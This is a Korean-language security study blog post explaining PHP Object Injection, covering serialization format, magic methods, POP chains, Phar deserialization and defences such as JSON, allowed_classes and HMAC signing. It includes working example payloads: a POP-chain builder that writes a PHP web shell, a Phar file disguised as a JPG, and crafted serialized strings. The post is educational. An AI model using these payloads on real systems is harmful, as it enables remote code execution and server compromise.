PHP Object injection

2026. 3. 19. 13:06·Web Study
반응형

PHP Object injection?

애플리케이션 레벨의 취약점으로, 사용자가 제공한 입력값이 적절한 검증 없이 PHP의 unserialize() 함수에 전달될 때 발생한다.

 

OWASP

PHP Object injection은 상황(Context)에 따라 공격자가 다양한 악의적인 공격을 수행할 수 있게 하는 애플리케이션 계층의 취약점이다.

연계 가능한 공격:
- Code Injection
- SQL Injection
- Path Traversal
- Denial of Service (DoS)

발생 조건

취약점이 성공적으로 익스플로잇 되기 위해서 2가지 조건이 필수적이다.

  1. 악용 가능한 매직 메서드가 구현된 클래스 존재
    1. __wakeup(), __destruct(), __toString() 등
    2. 이들이 "POP Chain"의 시작점이 될 수 있어야 함
  2. 클래스가 역직렬화 시점에 선언되어 있거나 자동 로딩 지원
    1. unserialize() 호출 시 해당 클래스가 이미 메모리에 있어야 함
    2. 또는 Autoloading이 설정되어 있어야 함

왜 직렬화가 필요한가?

HTTP 특성
HTTP는 상태를 유지하지 않는(stateless) 프로토콜로,
- 각 요청이 독립적으로 처리됨
- 이전 요청의 정보를 기억하지 못함
- 로그인 상태, 장바구니 등의 정보를 별도로 저장해야 함

문제 상황

class User {
	public $name = "Alice";
    public $isAdmin = false;
    public $cart = ["item1", "item2"];
}

$user = new User();

이 $user 객체를 파일이나 데이터베이스에 저장하려면 어떻게 해야 할까?

 

문제점:

  • 객체는 메모리 상의 복잡한 구조
  • 파일/DB는 기본적으로 문자열 데이터만 저장 가능
  • 객체를 그대로는 저장할 수 없음
이에 대한 해결책 → 직렬화

직렬화(Serialization)는 객체를 저장하거나 전송하기 위해 문자열/바이트로 변환하는 과정:

객체 (메모리) -> serialize() -> 문자열 -> 파일/DB/네트워크 
문자열 -> unserialize() -> 객체(메모리)

직렬화와 역직렬화

serialize() 함수

class User {
    public $username = "alice";
    public $email = "alice@example.com";
    private $password = "secret123";
}

$user = new User();
$serialized = serialize($user);
echo $serialized;

이 예제를 설명하기 전에, 사전 지식이 하나 필요하다.

객체지향 프로그래밍에서 객체를 생성할 때는 초기화 작업이 필요하다.
new 키워드로 객체를 만들면 PHP는 자동으로 __construct() 메소드를 찾아서 실행한다. 이것을 생성자(constructor)라고 부른다.

 

생성자의 역할에는 몇 가지가 있다.

  1. 속성에 초기값 설정
  2. 필요한 리소스 연결(데이터베이스, 파일 등)
  3. 객체 사용 전 필요한 검증 수행

출력 결과

O:4:"User":3:{
    s:8:"username";s:5:"alice";
    s:5:"email";s:17:"alice@example.com";
    s:14:"Userpassword";s:9:"secret123";
}

직렬화 포맷 분석

기본 구조:

O:4:"User":3:{...}
│ │  │     │
│ │  │     └─ 속성 개수 (3개)
│ │  └─────── 클래스명 ("User")
│ └────────── 클래스명 길이 (4글자)
└──────────── Object 타입

속성별 분석

1. Public 속성

s:8:"username";s:5:"alice";
│ │    │        │ │   │
│ │    │        │ │   └─ 값: "alice"
│ │    │        │ └───── 값의 길이: 5
│ │    │        └─────── 타입: string
│ │    └──────────────── 속성명: "username"
│ └───────────────────── 속성명 길이: 8
└─────────────────────── 타입: string

 

2. Private 속성 - 특별한 규칙

s:14:"Userpassword";s:9:"secret123";
   ││              │
   ││              └─ 실제로는 "\x00User\x00password"
   │└──────────────── 길이가 14인 이유
   └───────────────── NULL byte 포함
  • Private 속성은 앞/뒤에 NULL 바이트 (\x00)가 추가된다.
    • 형식: \x00ClassName\x00propertyName
    • 예시: \x00User\x00password
    • 길이 계산: 1(NULL) + 4(User) + 1(NULL) + 8(password) = 14

3. Protected 속성

s:8:"\x00*\x00email";s:17:"alice@example.com";

Protected 속성은 클래스명 대신 별포 (*)가 사용된다

  • 형식: \x00*\x00propertyName
  • 길이 계산: 1(NULL) + 1(*) + 1(NULL) + 5(email) = 8

unserialize() 함수

기본동작

$restored = unserialize($serialized);
var_dump($restored);

 

출력 결과

object(User)#2 (3) {
    ["username"]=> string(5) "alice"
    ["email"]=> string(17) "alice@example.com"
    ["password":"User":private]=> string(9) "secret123"
}

unserialize()는 문자열을 파싱하여 원래의 User 객체를 메모리에 재생성한다.
이때 중요한 점은 객체의 생성자(__construct())가 호출되지 않는다는 것이다. unserialize()는 직렬화 문자열에 저장된 정보만을 가지고 객체를 복원하기 때문이다.

class User {
    public $role = "guest";
    
    public function __construct() {
        // 보안 검증
        if (!$this->isValidSession()) {
            throw new Exception("Invalid session");
        }
        // 초기화
        $this->role = $this->determineRole();
    }
}

// 정상 생성
$user1 = new User();  // __construct() 호출됨 ✓

// 역직렬화
$user2 = unserialize($data);  // __construct() 호출 안됨 ✗
  • 생성자의 모든 검증 로직이 무시됨
  • 초기화 코드가 실행되지 않음
  • 객체가 불완전한 상태로 생성될 수 있음

Magic Methods(매직 메서드)

PHP에는 특정 상황에서 자동으로 호출되는 특별한 메소드들이 있다.

이들은 Magic Methods라고 부른다. 이름이 모두 두 개의 밑줄 (__)로 시작한다.

 

앞에서 new 키워드로 객체를 만들면 PHP는 자동으로 __construct() 메소드를 찾아서 실행하는 것을 확인했다.

이게 바로 매직 메서드이다.

 

역직렬화와 관련하여 가장 중요한 Magic Methods는 다음과 같다.

  • __wakeup(): PHP 공식 문서에 따르면
    "unserialize()는 __wakeup() 메소드의 존재 여부를 확인하고, 존재한다면 그것을 실행합니다."
    이 메소드는 역직렬화가 완료된 직후에 자동으로 호출된다. 원래 용도는 데이터베이스 연결처럼 직렬화할 수 없는 리소스를 다시 연결하기 위한 것이다.
  • __destruct(): 이것은 소멸자로, PHP 문서에서 "객체에 대한 모든 참조가 제거되거나 객체가 명시적으로 파괴될 때, 또는 스크립트 실행이 끝날 때 자동으로 호출된다"라고 설명한다.
  • __toString(): 객체가 문자열로 취급될 때 자동으로 호출된다.
    예를 들어 echo $object; 를 실행하면 이 메소드가 호출된다.
  • __call(): 존재하지 않는 메소드를 호출할 때 자동으로 호출된다.

그 이유는 객체의 생명주기를 관리하기 위해서이다.

일반적인 프로그래밍 언어에서는 객체가 생성될 때 생성자를 호출하고, 소멸될 때 소멸자가 호출된다.

일반 객체 생성:
new Object() → __construct() → [사용] → __destruct()

역직렬화:
unserialize() → __wakeup() → [사용] → __destruct()
                ↑
         __construct() 호출 안됨
  • __construct(): 객체 생성 시
  • __destruct(): 객체 소멸 시

역직렬화는 특별한 형태의 "객체 생성" 이므로, PHP는 개발자가 이 시점에 필요한 초기화 코드를 실행할 수 있도록 __wakeup()을 제공한다.

문제는 이런 자동 실행 메커니즘이 보안 취약점으로 이어질 수 있다.

 

왜 echo가 __toString()을 호출하는가?

 

타입 변환의 필요성

echo "Hello";  // 문자열 → 그대로 출력
echo 123;      // 숫자 → 자동으로 문자열 변환
echo true;     // 불리언 → "1" 또는 ""로 변환
echo $object;  // 객체 → ???

PHP는 객체를 어떻게 문자열로 표현해야 할지 모른다.

 

이에 대해서 PHP는 객체에 __toString() 메서드가 있다면 자동으로 호출해 문자열 표현을 얻는다

없으면 Fatal error: Object could not be converted to string

 

이외에 자동 호출되는 다양한 상황:

class Person {
    private $name = "Alice";
    
    public function __toString() {
        return $this->name;
    }
}

$person = new Person();

// 1. echo/print
echo $person;  // "Alice"

// 2. 문자열 연결
$greeting = "Hello, " . $person;  // "Hello, Alice"

// 3. 문자열 함수
strlen($person);  // 5

// 4. 파일 쓰기
file_put_contents("file.txt", $person);  // "Alice" 저장

// 5. 문자열 비교
if ($person == "Alice") { }  // __toString() 호출

// 6. 정규표현식
preg_match("/Alice/", $person);  // __toString() 호출
```

이것이 POP Chain에서 중요한 이유:

  • 개발자가 의도하지 않은 상황에서도 호출될 수 있음
  • echo 하나로 전체 공격 체인이 시작될 수 있음

PHP Object Injection 취약점

기본 메커니즘

// 취약한 코드
$user_input = $_GET['data'];
$object = unserialize($user_input);

 

분석

1. 사용자 입력 접수

GET /page.php?data=O:6:"Logger":1:{s:7:"logfile";s:9:"shell.php";}

 

2. 역직렬화

$object = unserialize($_GET['data']);
// Logger 객체가 메모리에 생성됨
// logfile 속성 = "shell.php"

 

3. 매직 메서드 자동 호출

// 스크립트 종료 시
// Logger::__destruct() 자동 실행

 

4. 위험한 동작 수행

class Logger {
    public $logfile;
    
    public function __destruct() {
        // 공격자가 제어하는 $logfile 사용!
        file_put_contents($this->logfile, "log data");
        // → shell.php 파일 생성
    }
}

개발자들이 이런 실수를 하는 이유?

시나리오 1: 세션 관리의 편의성

// 개발자의 의도: 세션 데이터를 쿠키에 저장
$user = new User();
$user->username = "alice";
$user->role = "admin";

// 직렬화하여 쿠키에 저장
setcookie("session", serialize($user));

// 다음 요청에서 복원
$user = unserialize($_COOKIE['session']);

그런데,

  • 쿠키는 클라이언트 측에 저장됨
  • 공격자가 쿠키 값을 자유롭게 수정 가능
  • 서명/암호화 없이 저장하면 매우 위험

시나리오 2: API 토큰 간편 구현

// JWT 대신 간단하게...
$token = base64_encode(serialize($userData));

// 나중에 복원
$userData = unserialize(base64_decode($token));

문제점:

  • Base64는 암호화가 아님 (단순 인코딩)
  • 공격자가 토큰을 디코딩 → 수정 → 인코딩 가능

시나리오 3: 캐시 시스템

// Redis에 객체 저장
$cache->set("user:123", serialize($user));

// 나중에 가져오기
$user = unserialize($cache->get("user:123"));
  • Redis가 외부에 노출되어 있다면?
  • 다른 취약점으로 Redis에 쓰기 가능하다면?

Private 속성을 조작할 수 있는 이유

접근 제어의 작동 방식:

class BankAccount {
    private $balance = 1000;
}

$account = new BankAccount();
$account->balance = 9999999;  // Fatal error!

Private은 코드 실행 시점에만 보호된다.

 

직렬화에서의 동작

직렬화/역직렬화는 데이터 변환 과정이지 코드 실행이 아니다.

  • serialize(): 객체 → 문자열 (접근 제어 무시)
  • unserialize(): 문자열 → 객체(접근 제어 무시)

공격자의 우회 방법

방법 1: Reflection API 사용

$obj = new Target();
$reflection = new ReflectionClass('Target');

// Private 속성 접근 가능하게 설정
$prop = $reflection->getProperty('command');
$prop->setAccessible(true);

// 값 변경
$prop->setValue($obj, 'whoami');

// 직렬화
$payload = serialize($obj);

 

방법 2: 문자열 직접 작성

// Private 속성 포맷: \x00ClassName\x00propertyName
$payload = 'O:6:"Target":1:{' .
    's:15:"' . "\x00" . 'Target' . "\x00" . 'command";' .
    's:6:"whoami";' .
'}';

 

방법 3: NULL 바이트 URL 인코딩

GET /page.php?data=O:6:"Target":1:{s:15:"%00Target%00command";s:6:"whoami";}
  • HTTP 전송 시 NULL 바이트(\x00) 를 %00로 인코딩

결과

세 방법 모두 동일한 결과

O:6:"Target":1:{s:15:"\x00Target\x00command";s:6:"whoami";}

unserialize()는 이 문자열을 파싱하여

  • Target 클래스의 객체 생성
  • Private 속성 command에 whoami 할당
  • 접근 제어를 전혀 검사하지 않음

공격 기법

POP Chian (Property Oriented Programming)

POP Chain은 시스템 해킹의 ROP(Return-Oriented Programming)와 유사하게, 여러 클래스의 메서드를 체인처럼 연결하여 최종 목표(RCE, 파일 쓰기 등)를 달성하는 공격 기법

 

구조:

[진입점] → [중간 가젯 1] → [중간 가젯 2] → ... → [최종 싱크]

 

구성요소

  1. 진입점 (Entry Point)
    • 자동으로 호출되는 매직 메서드
    • 주로 __destruct(), __wakeup(), __toString()
  2. 중간 가젯 (Gadget)
    • 다른 객체의 메서드를 호출하는 "징검다리"
    • 각 가젯이 다음 가젯을 호출하며 체인 형성
  3. 최종 싱크(Sink)
    • 실제 공격이 실행되는 위험한 함수
    • 예: eval(), system(), file_put_contents()

예제 (2단계 POP Chain)

// === 피해자 서버의 코드 ===

// 1. 진입점 - Template 클래스
class Template {
    private $template_data;
    
    public function __destruct() {
        // 객체 파괴 시 자동 실행
        echo $this->template_data;
        // ↑ 만약 이것이 객체라면 __toString() 호출!
    }
}

// 2. 최종 싱크 - FileManager 클래스
class FileManager {
    private $filename;
    private $content;
    
    public function __toString() {
        // 문자열 변환 시 자동 실행
        file_put_contents($this->filename, $this->content);
        return "파일 저장됨";
    }
}

// 3. 취약한 코드
$data = $_GET['data'];
$obj = unserialize($data);  // 역직렬화
// ... 스크립트 종료 시 __destruct() 자동 호출

 

공격 페이로드 구성

// === 공격자의 로컬 환경 ===

// 1단계: FileManager 객체 생성 (최종 싱크)
$fileManager = new FileManager();
$ref = new ReflectionClass('FileManager');

// filename 설정
$filenameProp = $ref->getProperty('filename');
$filenameProp->setAccessible(true);
$filenameProp->setValue($fileManager, 'shell.php');

// content 설정 (웹셸 코드)
$contentProp = $ref->getProperty('content');
$contentProp->setAccessible(true);
$contentProp->setValue($fileManager, '<?php system($_GET["cmd"]); ?>');

// 2단계: Template 객체 생성 (진입점)
$template = new Template();
$templateRef = new ReflectionClass('Template');

// template_data에 FileManager 객체 할당
$dataProp = $templateRef->getProperty('template_data');
$dataProp->setAccessible(true);
$dataProp->setValue($template, $fileManager);  // ← 객체 연결!

// 3단계: 직렬화
$payload = serialize($template);
echo urlencode($payload);

 

공격 실행 흐름

1. 공격자가 페이로드 전송
   GET /page.php?data=O:8:"Template":1:{...}

2. 피해자 서버에서 역직렬화
   $obj = unserialize($_GET['data']);
   → Template 객체 생성
   → template_data = FileManager 객체

3. 스크립트 종료 시
   Template::__destruct() 자동 호출

4. __destruct() 내부
   echo $this->template_data;
   → template_data는 FileManager 객체
   → FileManager::__toString() 자동 호출

5. __toString() 내부
   file_put_contents($this->filename, $this->content);
   → file_put_contents('shell.php', '<?php system(...) ?>');
   → 웹셸 파일 생성!

6. 공격자가 웹셸 실행
   http://victim.com/shell.php?cmd=whoami

 

각 클래스는 개별적으로는 무해하지만

  • Template: 단순히 데이터를 출력
  • FileManager: 파일 관리 기능

Phar Deserialization

Phar란?

Phar (PHP Archive)는 PHP 애플리케이션을 단일 파일로 패키징하는 포맷이다.
JAR(Java), EXE(Windows)와 유사한 개념으로, 여러 PHP 파일을 하나로 묶을 수 있다.

→ 여기서 핵심은, Metadata 영역에 직렬화된 객체를 저장할 수 있다는 점이다.

 

위험한 이유?

PHP의 파일 시스템 함수들이 phar:// 래퍼로 파일에 접근할 때

→ Metadata가 자동으로 역직렬화됨

→ unserialize()를 명시적으로 호출하지 않아도 공격이 가능해진다.

 

일반적인 취약 함수들:

// phar:// 래퍼 사용 시 자동 역직렬화 발생

file_exists('phar://evil.jpg')
fopen('phar://evil.jpg', 'r')
file_get_contents('phar://evil.jpg')
file('phar://evil.jpg')
include('phar://evil.jpg')
require('phar://evil.jpg')
is_file('phar://evil.jpg')
is_dir('phar://evil.jpg')
filesize('phar://evil.jpg')
md5_file('phar://evil.jpg')
stat('phar://evil.jpg')
unlink('phar://evil.jpg')
copy('phar://evil.jpg', 'dest')
// ... 그 외 여러 개 등등

 

공격 시나리오

1. 악성 Phar 파일 생성

<?php
class Evil {
    public $cmd = 'system';
    public $arg = 'whoami';
}

// Phar 파일 생성
$phar = new Phar('evil.phar');
$phar->startBuffering();

// 더미 파일 추가
$phar->addFromString('test.txt', 'dummy content');

// Metadata에 악성 객체 삽입
$evilObj = new Evil();
$phar->setMetadata($evilObj);  // ← 여기서 직렬화됨

$phar->stopBuffering();
?>

 

2. 파일 확장자 위장

# Phar는 앞부분에 다른 데이터가 있어도 작동
mv evil.phar evil.jpg

# 또는 실제 이미지 헤더 추가
cat real_image.jpg evil.phar > evil.jpg

# 이미지 파일로 위장했지만, 내부에는 Phar 구조

 

3. 서버에 업로드

<!-- 일반적인 이미지 업로드 폼 -->
<form method="post" enctype="multipart/form-data">
    <input type="file" name="profile_pic">
    <input type="submit" value="Upload">
</form>

 

서버는 확장자만 확인:

// 취약한 업로드 검증
$ext = pathinfo($_FILES['profile_pic']['name'], PATHINFO_EXTENSION);
if ($ext == 'jpg') {
    move_uploaded_file($_FILES['profile_pic']['tmp_name'], 
                       'uploads/' . $_FILES['profile_pic']['name']);
    // → uploads/evil.jpg 저장됨
}

 

4. 취약한 코드 트리거

// 개발자가 작성한 정상적인 코드
$filename = $_GET['file'];

// 파일 존재 여부 확인
if (file_exists($filename)) {
    echo "파일이 존재합니다!";
}

 

5. 공격 실행

GET /check.php?file=phar://uploads/evil.jpg

 

실행 과정

  1. file_exists('phar://uploads/evil.jpg') 호출
  2. PHP가 phar:// 래퍼 인식
    → evil.jpg를 Phar로 파싱
  3. Metadata 영역 접근
    → 저장된 직렬화 데이터 발견
  4. 자동으로 unserialize() 실행
    → Evil 객체 생성
  5. Evil::__wakeup() 또는 __destruct() 호출
    → RCE 발생

분명 unserialize() 호출이 코드에 없고, 일반 파일 함수만 사용했으며, 확장자 검사 했음에도 터짐

Private/Protected 속성 조작 및 WAF 우회

Private 속성 직렬화 포맷

class User {
    public $name = "Alice";        // public
    protected $email = "a@b.com";  // protected
    private $password = "secret";   // private
}

 

직렬화 결과:

O:4:"User":3:{
    s:4:"name";s:5:"Alice";
    s:8:"\x00*\x00email";s:7:"a@b.com";
    s:14:"\x00User\x00password";s:6:"secret";
}

공격 방법: NULL 바이트 인코딩

터미널에서:

O:4:"User":1:{s:14:"\x00User\x00password";s:4:"hack";}

 

HTTP 요청 시:

POST /api/deserialize HTTP/1.1
Content-Type: application/x-www-form-urlencoded

data=O:4:"User":1:{s:14:"%00User%00password";s:4:"hack";}

NULL 바이트 \x00를 URL 인코딩 %00으로 변환하여 전송

WAF 우회

  • Hex 인코딩
  • 대소문자 혼합
  • Plus 부호 활용
  • 길이 계산 오류 유도
  • etc.

방어 기법

1. unserialize() 사용 X

// bad case
$data = serialize($object);
$object = unserialize($data);

// good case
$data = json_encode($object);
$object = json_decode($data, true);

 

JSON

  • 직렬화된 클래스 정보가 없음
  • 매직 메서드가 호출되지 않음
  • 객체가 아니 배열로 복원

2. allowed_classes 옵션 사용

만약, 불가피하게 unserialize()를 사용해야 한다면:

참고로, PHP 7.0 이상에서만 발생
// 클래스 객체를 절대 허용하지 않음
$data = unserialize($input, ['allowed_classes' => false]);
// → 모든 객체가 __PHP_Incomplete_Class로 변환됨

// 특정 클래스만 허용
$data = unserialize($input, [
    'allowed_classes' => ['SafeClass1', 'SafeClass2']
]);

 

입력 검증

서명 검증

// 직렬화 시
$data = serialize($object);
$signature = hash_hmac('sha256', $data, SECRET_KEY);
$package = $signature . ':' . $data;

// 역직렬화 시
list($sig, $data) = explode(':', $package, 2);
$expected = hash_hmac('sha256', $data, SECRET_KEY);

if (!hash_equals($expected, $sig)) {
    die("변조 감지!");
}

$object = unserialize($data, ['allowed_classes' => false]);

 → hash_eqauls()를 사용하여 타이밍 공격 방지

 

암호화

// 직렬화 후 암호화
$data = serialize($object);
$encrypted = openssl_encrypt(
    $data, 
    'aes-256-cbc', 
    ENCRYPTION_KEY, 
    0, 
    INIT_VECTOR
);

// 복호화 후 역직렬화
$decrypted = openssl_decrypt(
    $encrypted, 
    'aes-256-cbc', 
    ENCRYPTION_KEY, 
    0, 
    INIT_VECTOR
);
$object = unserialize($decrypted, ['allowed_classes' => false]);

 

Phar 공격 방어

phar.readonly 설정

php.ini:

phar.readonly = 1
  • 새로운 Phar 파일 생성 불가

Stream Wrapper 비활성화

// 스크립트 시작 시
stream_wrapper_unregister('phar');

// 이후 phar:// 사용 불가
file_exists('phar://evil.jpg');  // Warning!

 

입력 검증

function validatePath($path) {
    // phar:// 프로토콜 차단
    if (preg_match('/^phar:\/\//i', $path)) {
        die("Phar protocol not allowed!");
    }
    
    // 실제 파일 경로만 허용
    $realPath = realpath($path);
    if ($realPath === false) {
        die("Invalid path!");
    }
    
    // 업로드 디렉토리 내부인지 확인
    if (strpos($realPath, UPLOAD_DIR) !== 0) {
        die("Path traversal detected!");
    }
    
    return $realPath;
}

// 사용
$safe_path = validatePath($_GET['file']);
if (file_exists($safe_path)) {
    // ...
}

WordPress 

1. 코어 설계부터 직렬화에 의존

WordPress는 설계부터 다음과 같이 serialize() / unserialize()에 크게 의존한다.

// 1. Options 테이블
update_option('theme_mods', $data);  
// 내부적으로 serialize() 사용

// 2. Meta 테이블
update_post_meta($post_id, 'custom_data', $array);
// 내부적으로 serialize() 사용

update_user_meta($user_id, 'preferences', $array);
// 내부적으로 serialize() 사용

 

2. 광범위한 공격 표면

  • AJAX 핸들러
// 인증된 사용자용
add_action('wp_ajax_save_data', 'handler');

// 비인증 사용자용 (누구나 접근 가능!)
add_action('wp_ajax_nopriv_save_data', 'handler');
  • REST API
register_rest_route('myplugin/v1', '/save', [
    'callback' => 'save_callback',
    // permission_callback 누락 시 누구나 접근!
]);
  • Shortcode
add_shortcode('custom', 'shortcode_handler');
// 게시글 편집 권한만 있으면 공격 가능
  • Admin Action Hook
add_action('admin_action_export', 'export_handler');
  • Widget 업데이트
class MyWidget extends WP_Widget {
    public function update($new, $old) {
        // 취약점 발생 가능
    }
}

 

3. 개발자들의 인식 부족

 

PatchStack Academy

We don't recommend doing the deserialization using the un serialize ormaybe_unserialize functions.
For more complex data, we can use other data formats such as JSON.

하지만 많은 개발자가

  • WordPress 코어가 하니까 따라 함
  • unserialize() 위험성을 모름
  • JSON 대안을 고려하지 않음

PatchStackAcademy 권장사항

// bad case
$data = unserialize($_POST['data']);
$data = maybe_unserialize($_POST['data']);

// good case
$data = json_decode($_POST['data'], true);

// 불가피한 경우
$data = unserialize($input, ['allowed_classes' => false]);
  • 그 외에도 WAF 규칙 등 참고

참고자료

https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection

https://patchstack.com/academy/wordpress/vulnerabilities/php-object-injection/

https://www.skshieldus.com/kor/eqstinsight/cve2409.html

반응형

'Web Study' 카테고리의 다른 글

CSWSH  (0) 2026.04.28
XSS-Leaks: Leaking Cross-Origin Redirects  (0) 2026.04.27
Directory Listing  (0) 2026.03.04
Host Split Attack  (0) 2026.03.04
HTTP Session Hijacking  (0) 2026.03.04
'Web Study' 카테고리의 다른 글
  • CSWSH
  • XSS-Leaks: Leaking Cross-Origin Redirects
  • Directory Listing
  • Host Split Attack
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (170)
      • Alpacahack (19)
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (18)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    web
    JS
    LLM
    web hacking
    Web Study
    webstudy
    cve
    hacking
    webhacking
    JavaScript
    드림핵
    DreamHack
    xss
    CSRF
    alpacahack
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
PHP Object injection
상단으로

티스토리툴바